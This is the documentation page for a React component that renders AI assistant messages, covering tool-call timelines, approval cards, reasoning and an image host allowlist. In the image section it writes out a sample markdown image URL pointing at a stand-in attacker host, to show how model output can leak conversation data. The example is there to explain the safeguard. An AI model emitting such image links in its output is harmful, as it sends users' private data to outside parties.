Skip to content

Docs

Components

AgentMessage

A whole assistant message: reasoning, streaming markdown, tool calls, approvals and sources.

Example

Interactive, and the same on the components page. Try the keyboard below on it.

Installation

npm i signoff-ui ai
import { AgentMessage } from 'signoff-ui';
// Once per app (with Tailwind v4: @import 'signoff-ui/tailwind.css'; in your CSS)
import 'signoff-ui/styles.css';

The styles are once per app; Getting started has the Tailwind v4 and plain CSS options.

Usage

const { messages, status, addToolApprovalResponse } = useChat();
const last = messages.findLast((m) => m.role === 'assistant');

{last && (
  <AgentMessage
    message={last}
    streaming={status === 'streaming'}
    tools={{ run_command: { label: 'Run command', risk: 'high' } }}
    onToolApproval={addToolApprovalResponse}
  />
)}

How it works

A whole assistant UIMessage, part by part: streaming-safe markdown, collapsible reasoning that summarizes how long the model thought, consecutive tool parts grouped into one timeline with inline approval cards, files, data-* parts through renderData, and sources. renderTool lets you take over any tool part, as the quickstart does for review_changes with a DiffReview. What renderTool and renderData return is your content: with styles.css, the kit's rules don't reach into it, and components you render there are styled as usual.

Images in text and reasoning don't load unless they're allowed: a URL in model output can carry data out of the conversation as soon as the browser fetches it (![](https://attacker.example/p.png?d=…)), so by default an image renders as a link with its alt text, or as plain text inside the link it belongs to (a badge). allowedImageHosts takes:

  • host names: 'images.example.com' matches any port, 'localhost:3000' only that port;
  • 'self': relative URLs such as /logo.png, which load from your own origin. Protocol-relative URLs (//host/x) are not relative, and absolute URLs to your own site need their host listed. Relative requests carry your cookies, so allow 'self' only if GET requests to your origin have no side effects;
  • '*': every image.
const IMAGE_HOSTS = ['images.example.com', 'self'];

<AgentMessage message={last} allowedImageHosts={IMAGE_HOSTS} />;

The list is compared by value, so an inline array works as well: it does not re-render the finished text on every streamed delta. Image file parts follow the same list, except that data: and blob: URLs, which need no request, always preview.

API reference

Generated from the types the package ships, so it matches the version you install.

AgentMessage

Renders an assistant UIMessage part by part: streaming markdown, collapsible reasoning, consecutive tool calls grouped into a timeline (with inline approval cards), files, and the message's sources with linked inline citations.

Props

messagerequired
Pick<UIMessage, 'id' | 'role' | 'parts'>
streaming
booleanDefault false

The message is still being generated. Text parts with an explicit state take precedence.

active
booleanDefault true

Whether the run can still make progress, including while it waits on the user. Pass false once it has ended (stopped, failed, or an older message): tool calls that never settled read "Stopped" instead of running forever, and text left streaming loses its caret. See ToolCallTimeline's active.

tools
Record<string, ToolMeta>
renderTool
(part: ToolPart) => ReactNode | undefined

Render a tool part yourself. Return undefined to use the default timeline, or null to render nothing. Custom-rendered parts split the timeline. What you return is your app's content: it sits in a data-signoff-slot element, and styles.css leaves it to your CSS (components you render in it are styled as usual).

onToolApproval
(response: ToolApprovalResponse) => void | PromiseLike<void>

Enables inline approval cards. Pass useChat().addToolApprovalResponse.

approvalProps
Partial<Omit<ApprovalCardProps, 'toolName' | 'status' | 'onApprove' | 'onDeny'>>

Props forwarded to every approval card, e.g. { autoFocus: true }.

approvalPolicy
ApprovalPolicy

Approval rules from useApprovalPolicy: cards offer once, this session and always, a rule's decisions are made without asking, and two or more waiting approvals get "Approve all".

onToolInputEdit
(toolCallId: string, input: unknown) => void

Lets a person edit a call's arguments before approving it, and applies the edit. With AI SDK 7: (id, input) => setMessages((m) => setToolInput(m, id, input)); with useAgUiAgent, its editInput.

renderData
(part: DataPart) => ReactNode

Render data-* parts. They are skipped when omitted. Your content, like renderTool's.

showSources
booleanDefault true
sourcesVariant
'chips' | 'cards'Default 'chips'
allowedImageHosts
readonly string[]

Where images in text, reasoning and image file parts may load from: host names, 'self' for relative URLs, or '*' for every image. Default: none, so other images render as links. File parts with data: and blob: URLs always preview. See MarkdownProps.allowedImageHosts.

timings
ToolTimings

Externally measured tool timings. Measured client-side when omitted.

labels
SignoffLabelsInput

Words to use instead of the English defaults, for the message and all it renders: see SignoffLabelsProvider.

Other props go to the root <article>: className (merged with tailwind-merge), id, aria-*, data-* and event handlers.

ToolMeta

Per-tool presentation. Every field is optional.

label
string

Display label. Defaults to the humanized tool name.

icon
ReactNode
summary
(input: unknown, part: ToolPart) => ReactNode

One-line summary shown next to the label. Defaults to the most descriptive input field. Not called before any input has arrived; while the input streams it can be partial.

renderOutput
(output: unknown, part: ToolPart) => ReactNode

Replace the default JSON output view. Your content, like AgentMessage's renderTool.

risk
RiskLevel | ((input: unknown) => RiskLevel)

Risk shown on approval requests for this tool.

ToolApprovalResponse

idrequired
string
approvedrequired
boolean
reason
string

Accessibility

Keyboard
KeysAction
↑↓Move between tool calls in a timeline
YNApprove or deny, with focus in an approval card
  • The message is an <article> with aria-busy while it streams, so screen readers wait for the text to settle.
  • Each part keeps its own behavior: the tool timeline, approval cards, reasoning and sources below all apply.
  • Images in model output don't load unless allowedImageHosts allows them; a blocked image is a link with its alt text, read as "Image:".
  • Citation markers such as [2] become links named "Source 2" to the matching source.

Theming

Every color, radius and font is a CSS variable, so the overrides in Theming apply, on :root or scoped to any element. These hooks are read from the component's markup.

Slots (data-slot)
signoff-agent-message
State attributes
data-roleon signoff-agent-messagethe message’s role: assistant, user or system
Tokens it uses
--signoff-border--signoff-fg--signoff-fg-subtle--signoff-font-sans--signoff-ring--signoff-surface--signoff-surface-2
app/globals.css
/* Only this component, and only inside .settings-panel */
.settings-panel [data-slot='signoff-agent-message'] {
  --signoff-radius: 4px;
}